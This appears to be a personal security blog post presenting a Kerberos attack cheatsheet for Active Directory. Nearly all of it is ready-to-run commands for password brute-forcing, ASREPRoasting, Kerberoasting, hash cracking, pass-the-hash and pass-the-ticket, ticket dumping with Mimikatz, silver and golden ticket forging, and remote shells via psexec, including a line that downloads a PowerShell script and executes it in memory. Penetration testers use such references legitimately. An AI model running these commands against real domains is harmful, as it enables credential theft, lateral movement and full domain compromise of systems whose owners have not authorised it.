root@blog:~#
CHEATSHEET

Kerberos Cheatsheet

So over this weekend I found myself trying (and failing) to run some Kerbrute bits and bats, turns out it was my error as Kali had remembered my slight spelling mistake and errornous commands when running things, so I decided to make a cheetsheet for Kerberos and things, so here goes something:

Shoutout to TarlogicSecurity for this one!

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

ASREPRoast

With Impacket example GetNPUsers.py:

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

With Rubeus:

# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>

Cracking with dictionary of passwords:

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>

john --wordlist=<passwords_file> <AS_REP_responses_file>

Kerberoasting

With Impacket example GetUserSPNs.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

With Rubeus:

.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>

With Powershell:

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

Cracking with dictionary of passwords:

hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

Overpass The Hash/Pass The Key (PTK)

By using Impacket examples:

# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Rubeus and PsExec:

# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd

Pass The Ticket (PTT)

Harvest tickets from Linux

Check type and location of tickets:

grep default_ccache_name /etc/krb5.conf

If none return, default is FILE:/tmp/krb5cc_%{uid}.

In case of file tickets, you can copy-paste (if you have permissions) for use them.

In case of being KEYRING tickets, you can use tickey to get them:

# To dump current user tickets, if root, try to dump them all by injecting in other user processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i

Harvest tickets from Windows

With Mimikatz:

mimikatz # sekurlsa::tickets /export

With Rubeus in Powershell:

.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

To convert tickets between Linux/Windows format with ticket_converter.py:

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using ticket in Linux:

With Impacket examples:

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

Using ticket in Windows

Inject ticket with Mimikatz:

mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Silver ticket

With Impacket examples:

# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Mimikatz:

# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Golden ticket

With Impacket examples:

# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Mimikatz:

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Misc

To get NTLM from password:

python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<password>".encode("utf-16le")).digest())'

Tools


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